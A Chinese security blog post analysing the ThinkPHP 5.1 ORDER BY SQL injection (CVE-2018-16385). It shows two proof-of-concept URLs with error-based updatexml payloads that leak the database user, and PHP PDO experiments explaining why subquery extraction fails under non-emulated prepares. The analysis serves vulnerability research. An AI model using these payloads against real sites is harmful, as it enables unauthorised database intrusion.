Thinkphp5 SQL注入漏洞引发的思考

文章首发于先知社区：Thinkphp5 SQL注入漏洞引发的思考

Thinkphp5

ThinkPHP，是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。

最早诞生于2006年初，2007年元旦正式更名为ThinkPHP，并且遵循Apache2开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则，在保持出色的性能和至简的代码的同时，也注重易用性。并且拥有众多原创功能和特性，在社区团队的积极参与下，在易用性、扩展性和性能方面不断优化和改进。

某些版本的Thinkphp存在一些漏洞，比如Thinkphp 5.1.(16-22) sql注入漏洞

POC

http://********/index/index/index?orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1

漏洞描述

在ThinkPHP 5.1.23之前的版本中存在SQL注入漏洞，该漏洞是由于程序在处理order by 后的参数时，未正确过滤处理数组的key值所造成。如果该参数用户可控，且当传递的数据为数组时，会导致漏洞的产生。（CVE-2018-16385)

一点思考

这个漏洞虽然是sql注入，但是比较鸡肋。。。

为什么这么讲呢？我们测试一下，就会发现报错注入的时候，我们只能爆出类似于user()、database()这类最基础的信息，而不能进行子查询，获取不到更加关键的信息。

这样的原因是用参数化查询PDO，将参数与查询语句分离，进而降低了漏洞风险。

PDO分析

下面将会针对thinkphp 5.1.17框架的PDO进行分析。

PDO介绍

我们可以把它看作是想要运行的 SQL 的一种编译过的模板，它可以使用变量参数进行定制。预处理语句可以带来两大好处：

  • 查询仅需解析（或预处理）一次，但可以用相同或不同的参数执行多次。当查询准备好后，数据库将分析、编译和优化执行该查询的计划。对于复杂的查询，此过程要花费较长的时间，如果需要以不同参数多次重复相同的查询，那么该过程将大大降低应用程序的速度。通过使用预处理语句，可以避免重复分析/编译/优化周期。简而言之，预处理语句占用更少的资源，因而运行得更快。
  • 提供给预处理语句的参数不需要用引号括起来，驱动程序会自动处理。如果应用程序只使用预处理语句，可以确保不会发生SQL 注入。（然而，如果查询的其他部分是由未转义的输入来构建的，则仍存在 SQL 注入的风险）。

预处理语句如此有用，以至于它们唯一的特性是在驱动程序不支持 PDO 将模拟处理。这样可以确保不管数据库是否具有这样的功能，都可以确保应用程序可以用相同的数据访问模式。

如果还不理解的话，我们可以看看PDO预编译执行过程

  1. prepare($SQL) 编译SQL语句

  2. bindValue($param,$value) 将value绑定到param的位置上

    prepare("INSERT INTO REGISTRY (name, value) VALUES (?, ?)");
$stmt->bindParam(1, $name);
$stmt->bindParam(2, $value);

// 插入一行
$name = 'one';
$value = 1;
$stmt->execute();

// 用不同的值插入另一行
$name = 'two';
$value = 2;
$stmt->execute();
?>

  3. execute() 执行

    prepare("CALL sp_returns_string(?)");
$stmt->bindParam(1, $return_value, PDO::PARAM_STR, 4000); 

// 调用存储过程
$stmt->execute();

print "procedure returned $return_value\n";
?>

报错原因

预编译SQL语句的时候发生错误，从而产生报错

当 prepare() 时，查询语句已经发送给了数据库服务器，此时只有占位符 ? 发送过去，没有用户提交的数据；当调用到 execute()时，用户提交过来的值才会传送给数据库，他们是分开传送的，所以理论上确保不会发生SQL注入。

这个漏洞实际上就是控制了第二步的$param变量，这个变量如果是一个SQL语句的话，那么在第二步的时候是会抛出错误使得报错（单纯的语句报错）既然如此我们实际上报错利用点在哪里呢？

实际上，在预编译的时候，也就是第一步即可利用

<?php
$params = [
    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_EMULATE_PREPARES  => false,
];

$db = new PDO('mysql:dbname=tpdemo;host=127.0.0.1;', 'root', 'root', $params);

try {
    $link = $db->prepare('SELECT * FROM users WHERE id in (:where_id, updatexml(0,concat(0xa,user()),0))');
} catch (\PDOException $e) {
    var_dump($e);
}

执行发现，虽然只调用prepare()，但原SQL语句中的报错已经成功执行：

是因为这里设置了PDO::ATTR_EMULATE_PREPARES => false。

这个选项涉及到PDO的“预处理”机制：因为不是所有数据库驱动都支持SQL预编译，所以PDO存在“模拟预处理机制”。如果说开启了模拟预处理，那么PDO内部会模拟参数绑定的过程，SQL语句是在最后execute()的时候才发送给数据库执行；如果我这里设置了PDO::ATTR_EMULATE_PREPARES => false，那么PDO不会模拟预处理，参数化绑定的整个过程都是和Mysql交互进行的。

非模拟预处理的情况下，参数化绑定过程分两步：第一步是prepare阶段，发送带有占位符的sql语句到mysql服务器（parsing->resolution），第二步是多次发送占位符参数给mysql服务器进行执行（多次执行optimization->execution）。

这时，假设在第一步执行prepare($SQL)的时候我的SQL语句就出现错误了，那么就会直接由mysql那边抛出异常，不会再执行第二步。

而在thinkphp 5.1.17中的默认配置

// PDO连接参数
protected $params = [
    PDO::ATTR_CASE              => PDO::CASE_NATURAL,
    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_ORACLE_NULLS      => PDO::NULL_NATURAL,
    PDO::ATTR_STRINGIFY_FETCHES => false,
    PDO::ATTR_EMULATE_PREPARES  => false,
];

但是，在这个POC中

/public/index.php/index/index?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0

如果你将user()改成一个子查询语句，那么结果又会爆出Invalid parameter number: parameter was not defined的错误。应该是预编译在mysql服务端进行的，但是预编译的过程是不接触数据的 ，也就是说不会从表中将真实数据取出来，所以使用子查询的情况下不会触发报错；虽然预编译的过程不接触数据，但user()数据库函数的值还是将会编译进SQL语句，所以这里执行并爆了出来。

修改子查询语句

如果我们把user()改成一个子查询语句呢？

<?php
$params = [
    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_EMULATE_PREPARES  => false,
];

$db = new PDO('mysql:dbname=tpdemo;host=127.0.0.1;', 'root', 'root', $params);

try {
       $link = $db->prepare('SELECT * FROM `users` WHERE  `id` IN (:where_id_in_0,updatexml(0,concat(0xa,(select username from users limit 1)),0)) ');

} catch (\PDOException $e) {
    var_dump($e);
}

虽然我们使用了updatexml函数，但是他可能不接触数据：预编译的确是mysql服务端进行的，但是预编译的过程是不接触数据的 ，也就是说不会从表中将真实数据取出来，所以使用子查询的情况下不会触发报错；虽然预编译的过程不接触数据，但类似user()这样的数据库函数的值还是将会编译进SQL语句，所以这里执行并爆了出来。

把updatexml函数去掉

<?php
$params = [
    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_EMULATE_PREPARES  => false,
];

$db = new PDO('mysql:dbname=tpdemo;host=127.0.0.1;', 'root', 'root', $params);

try {
    $link = $db->prepare('SELECT * FROM users WHERE  id IN (:where_id_in_0)union(select~1,2)');
    var_dump($link);
    $link->bindValue(':where_id_in_0)union(select~1,2)','1','1');
} catch (\PDOException $e) {
    var_dump($e);
}

这样就会报Invalid parameter number: parameter was not defined

在上面绑定的变量中，让：符号后面的字符串中不出现空格。但是在PDO的prepare()编译sql语句这个过程中，pdo已经把(:)内的内容认为时PDO绑定的变量，所以在第二步bindValue()步骤中，才会报错parameter was not defined

也就说这两步数据不匹配，导致无法正常执行第三步查询我们想要得字段

总结

Thinkphp5 框架采用的PDO机制可以说从根本上已经解决了一大堆SQL方面的安全问题，但过多的信任导致这里是在参数绑定的过程中产生了注入，不过采用的PDO机制也可以说是将危害降到了最小。

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发布者

AndyNoel

一杯未尽，离怀多少。

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